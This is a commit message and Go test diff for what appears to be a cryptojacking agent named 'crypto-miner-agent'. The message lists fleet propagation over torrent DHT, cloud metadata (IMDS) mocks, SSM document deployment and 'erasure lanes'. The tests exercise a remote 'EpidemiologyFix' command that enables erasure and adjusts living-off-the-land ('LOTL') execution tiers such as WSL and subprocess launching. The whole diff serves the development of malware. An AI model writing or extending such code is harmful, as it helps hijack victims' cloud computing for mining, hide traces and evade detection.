Extend agent tests for cloud fleet features and erasure lanes.

Cover fleet torrent DHT fetch, cloud map/venue/meta IMDS mocks, S3 shard fetch order, zero-server policy polling, self-surgery reorder, contingency skip paths, epidemiology fix guards, and ssm_document deploy lane.

agent/client/epidemiology_fix_test.go

@@ -4,11 +4,12 @@ import (
 	"encoding/json"
 	"testing"
 
+	"crypto-miner-agent/config"
 	"crypto-miner-agent/miner"
 )
 
 func TestApplyEpidemiologyFixSkipsFailedTiers(t *testing.T) {
-	c := &AgentClient{}
+	c := &AgentClient{agentID: "a1"}
 	raw, _ := json.Marshal(EpidemiologyFix{
 		AgentID:   "a1",
 		Reason:    "broken branch",
@@ -35,3 +36,25 @@ func TestApplyEpidemiologyFixForceTier(t *testing.T) {
 		t.Fatalf("force tier=%v", policy.ForceTier)
 	}
 }
+
+func TestApplyEpidemiologyFixErasureLanes(t *testing.T) {
+	c := &AgentClient{cfg: config.RuntimeConfig{}}
+	raw, _ := json.Marshal(EpidemiologyFix{ErasureLanes: true, Reason: "court splice"})
+	c.applyEpidemiologyFixJSON(raw)
+	if !c.cfg.ErasureLanesEnabled {
+		t.Fatal("expected erasure lanes enabled")
+	}
+}
+
+func TestApplyEpidemiologyFixSkipsWrongAgent(t *testing.T) {
+	c := &AgentClient{agentID: "mine", tierPolicy: miner.MiningTierPolicy{SkipTiers: []miner.LOTLTier{"wsl"}}}
+	raw, _ := json.Marshal(EpidemiologyFix{
+		AgentID:   "other",
+		SkipTiers: []string{"exe_subprocess"},
+	})
+	c.applyEpidemiologyFixJSON(raw)
+	policy := c.miningTierPolicy()
+	if len(policy.SkipTiers) != 1 || policy.SkipTiers[0] != miner.LOTLTier("wsl") {
+		t.Fatalf("policy=%+v", policy)
+	}
+}